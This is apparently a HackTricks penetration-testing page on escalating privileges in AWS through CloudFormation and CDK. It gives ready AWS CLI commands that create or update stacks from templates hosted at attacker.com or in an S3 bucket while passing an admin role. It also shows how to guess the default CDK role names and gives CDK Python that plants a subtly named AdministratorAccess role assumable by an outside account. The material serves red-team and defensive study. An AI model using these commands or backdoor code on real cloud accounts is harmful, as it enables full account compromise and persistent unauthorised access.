# AWS - Cloudformation Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## cloudformation

For more information about cloudformation check:

{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}

### `iam:PassRole`, `cloudformation:CreateStack`

An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:**

```bash
aws cloudformation create-stack --stack-name <stack-name> \
    --template-url http://attacker.com/attackers.template \
    --role-arn <arn-role>
```

In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**:

{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}

**Potential Impact:** Privesc to the cloudformation service role specified.

### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)

In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario:

```bash
aws cloudformation update-stack \
    --stack-name privesc \
    --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
    --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
    --capabilities CAPABILITY_IAM \
    --region eu-west-1
```

The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack.

**Potential Impact:** Privesc to the cloudformation service role specified.

### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`

If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update).

The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack.

**Potential Impact:** Privesc to the cloudformation service role already attached.

### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack.

The following exploit is a **variation of the**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack.

```bash
aws cloudformation create-change-set \
    --stack-name privesc \
    --change-set-name privesc \
    --change-set-type CREATE \
    --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
    --role arn:aws:iam::947247140022:role/CloudFormationAdmin \
    --capabilities CAPABILITY_IAM \
    --region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
    --change-set-name privesc \
    --stack-name privesc \
    --region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
    --stack-name privesc \
    --region eu-west-1
```

The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack.

**Potential Impact:** Privesc to cloudformation service roles.

### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter:

```
--change-set-type UPDATE
```

**Potential Impact:** Privesc to the cloudformation service role already attached.

### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)

An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles.

**Potential Impact:** Privesc to cloudformation service roles.

### `cloudformation:UpdateStackSet`

An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles.

**Potential Impact:** Privesc to the attached cloudformation roles.

## AWS CDK

The AWS cdk is a toolkit for allowing users to define their infrastructure-as-code in languages they are already familiar with, as well as easily re-using sections. The CDK then converts the high-level code (ie python) into Cloudformation templates (yaml or json).

In order to use the CDK, an administrative user must first bootstrap the account, which create several IAM roles, including the *exec role*, which has \*/\* permissions. These roles follow the naming structure `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapping must be done once per region per account.

By default, CDK users do not have access to list the roles needed to use the CDK, meaning that you will need to determine them manually. If you compromise a developers machine or some CI/CD node, these roles can can be assumed to grant yourself the ability to deploy CFN templates, using the `cfn-exec` role to allow CFN to deploy any resources, fully compromising the account.

### Determining the role names

If you have `cloudformation:DescribeStacks`, the roles are defined in a stack called `CDKToolkit`, and you can pull the names from there.

If you're on a machine that has been used to build and deploy CDK projects, you can pull them from `cdk.out/manafest.json` in the projects root directory.

You can also make a good guess on what they are. `qualifier` is a string added to the roles allowing for multiple instance of the CDK bootstrap to be deployed at once, however the default value is hard-coded to `hnb659fds`. 

```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```

### Adding malicious code to the project source

If you can write to the project source, but cannot deploy it yourself (for example, the developer deploys the code via CI/CD, not the local machine), you can still compromise the environment by adding malicious resources to the stack. The following adds an IAM role that can be assumed by an attacker account to a python CDK project.

```python
class CdkTestStack(Stack):
    def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
        super().__init__(scope, construct_id, **kwargs)

        # ----------
        # Some existing code.....
        # ----------

        role = iam.Role(
            self,
            "cdk-backup-role", # Role name, make it something subtle
            assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
            managed_policies=[
                iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
            ],
        )
```

## References

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)

{{#include ../../../../banners/hacktricks-training.md}}



